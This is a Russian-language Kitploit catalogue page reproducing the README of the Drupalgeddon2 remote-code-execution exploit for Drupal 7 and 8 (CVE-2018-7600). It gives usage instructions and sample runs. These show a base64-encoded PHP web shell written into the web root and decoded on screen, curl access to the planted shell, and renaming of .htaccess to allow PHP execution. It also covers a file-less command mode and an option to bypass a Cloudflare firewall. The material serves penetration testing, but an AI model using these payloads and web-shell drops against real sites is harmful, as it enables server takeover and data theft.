Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Drupalgeddon2 — Эксплойт для Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) | Kitploit
Инструменты/GitHubGitHub/dreadlocked/drupalgeddon2
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияШелл-кодЭксплуатация веб-приложенийТестирование на Проникновение
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Эксплойт для Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

Репозиторий
600169235 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Поддерживает:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ URL user/register, атака на параметры account/mail и #post_render с использованием PHP-функции passthru
  • Drupal < 7.58 ~ URL user/password, атака на форму triggering_element_name и параметр #post_render с использованием PHP-функции
passthru
  • Работает с прямыми командами (так называемый метод без файлов, File-Less Method) или записывает PHP-шелл в корень веб-сервера (./) или подкаталоги (./sites/default/ и ./sites/default/files/)
  • Поддержка целей на Linux и Windows
  • Автоопределение версии Drupal (или достаточно точное предположение!)
  • Метод user/register был выбран для Drupal v8.x, поскольку он возвращает HTTP 200 и выводит результат в JSON-ответе data (раскомментируйте код для метода timezone/#lazy_builder, который возвращает HTTP 500 и работает вслепую!) (Дополнительная информация)

    Авторы:

    • Hans Topo (@_dreadlocked)
    • g0tmi1k (@g0tmi1k)

    Примечания:

    • Для продвинутых пользователей/конфигураций существует более настраиваемый эксплойт. Смотрите раздел drupalgeddon2-customizable-beta.rb
    • Прежде чем открывать issue, пожалуйста, прочитайте раздел устранения неполадок в конце. Спасибо!

    Использование:

    root@kitploit:~
    $ ruby drupalgeddon2.rb
    Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
           ruby drupalgeddon2.rb https://example.com
    $
    

    Параметры --verbose и --authentication можно указывать в любом порядке после и оба они необязательны. Если указан --authentication, будет запрошен ввод:

    • имени пользователя,
    • пароля,
    • имени поля формы для имени пользователя,
    • имени поля формы для пароля,
    • URL-пути к веб-странице входа, например user/login
    • возможного суффикса, добавляемого после учётных данных в отправляемой форме, например form_id и т.д.

    Это необходимо для эксплуатации сайтов, которые сначала требуют POST-авторизации на веб-странице и в случае успешной аутентификации отвечают сессионной cookie.

    Пример для Drupal v8.x

    Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-8/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-8/
    --------------------------------------------------------------------------------
    [!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
    [+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal?: v8.x
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo TTTBJJBP
    [+] Result : TTTBJJBP
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
    --------------------------------------------------------------------------------
    [i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
    ubuntu140045x64-drupal>> uname -a
    Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
    ubuntu140045x64-drupal>>
    

    Пример для Drupal v7.x

    Drupal < v7.58

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-7/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-7/
    --------------------------------------------------------------------------------
    [+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal!: v7.31
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo TKYPVVJJ
    [+] Result : TKYPVVJJ
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
    --------------------------------------------------------------------------------
    [i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'
    
    ubuntu140045x64-drupal>> uptime
     14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
    ubuntu140045x64-drupal>>
    

    Прямые команды / не-PHP шелл (также известный как File-Less Method)

    Если вы не хотите даже пытаться записать PHP-веб-шелл на веб-сервер, отредактируйте файл, как показано ниже (в любом случае будет выполнен откат, если не удастся найти доступное для записи место):

    root@kitploit:~
    try_phpshelltryphpshell = false
    

    Пример

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-nonwrite/
    --------------------------------------------------------------------------------
    [!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt    (HTTP Response: 404)
    [+] Found  : http://localhost/drupal-nonwrite/core/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal?: v8.x
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo HYCBAIET
    [+] Result : HYCBAIET
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    [*] Testing: Writing To Web Root (sites/default/)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    [*] Testing: Writing To Web Root (sites/default/files/)
    [*] Moving : ./sites/default/files/.htaccess
    [i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)...    May not be able to execute PHP from here?
    [!] FAILED: Couldn't find writeable web path
    --------------------------------------------------------------------------------
    [*] Dropping back to direct commands
    drupalgeddon2>> lsb_release -a
    Distributor ID:	Ubuntu
    Description:	Ubuntu 14.04.5 LTS
    Release:	14.04
    Codename:	trusty
    drupalgeddon2>>
    

    Поддержка прокси

    Для поддержки прокси (например, Burp) отредактируйте файл, подставив свои значения. Пример:

    root@kitploit:~
    proxy_addr = "192.168.0.130"
    proxy_port = 8080
    

    Экспериментальный, но рабочий: drupalgeddon2-customizable-beta.rb

    drupalgeddon2-customizable-beta.rb предназначен для более продвинутых пользователей, поскольку он более настраиваемый. Он позволяет указать дополнительные параметры, например используемый PHP-метод (не только system() или passthru()) и способ доступа к форме user/password.

    Примеры использования:

    root@kitploit:~
    Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id
    More info: -h
        -u, --url URL                    [Required] Service URL
        -v, --version VERSION            [Required] Target Drupal version {7,8}
        -c, --command COMMAND            [Required] Command to execute
        -m, --method PHP_METHOD          [Optional] PHP Method to use, by default: passthru
            --form                       [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8
            --cloudflare                 [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass
        -h, --help                       Prints this help
    

    Устранение неполадок:

    • Если возникает ошибка типа cannot load such file "LoadError", выполните sudo gem install <missing dependency>. В частности, вам может понадобиться установить зависимость highline с помощью sudo gem install highline

    • Цель может перенаправлять на другой путь, где находится Drupal (например, ответы HTTP 30x)

      • Решение: убедитесь, что вы используете правильный путь Drupal
    • Существует ограничение на допустимые символы, которые можно использовать в полезной нагрузке/команде

      • Решение: это связано с тем, как уязвимость воспринимает их и как они кодируются для URL-запроса. Закодируйте полезную нагрузку и декодируйте её на целевой системе. Например, с помощью base64
    • Если целевая система Linux и не использует "GNU base64", это может быть BSD-версия (или она вообще не установлена!)

      • Решение: используйте base64 -D (вместо base64 -d) или применяйте метод без файлов
    • Если целевая система использует Windows, запись PHP-шелла всегда завершается неудачей

      • Решение: используйте метод без файлов. Это связано с тем, что конвейер передаётся в Unix-программу, а не используется certutil или PowerShell
    • Drupal v8.x — ./.htaccess не позволит выполнять PHP-скрипты в ./sites/default/, если это доступная для записи папка

      • Решение: переключитесь на метод без файлов
    • Drupal v8.x — на целевой системе не включены "чистые URL" (clean URL)

      • Решение: Н/Д — не уязвимо =(
    • Drupal v7.x — если форма /user/password отключена, вам нужно найти другую форму (не забудьте изменить эксплойт!)

      • Решение: параметр form_id будет меняться в зависимости от формы, используемой для эксплуатации уязвимости

    Ссылки:

    • Бюллетень Drupal SA-CORE-2018-002 ~ https://www.drupal.org/sa-core-2018-002
    • CVE ~ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
    • Разбор и исследование ~ https://research.checkpoint.com/uncovering-drupalgeddon-2/
    • cURL-команды/пример PoC ~ https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
    Скачать инструмент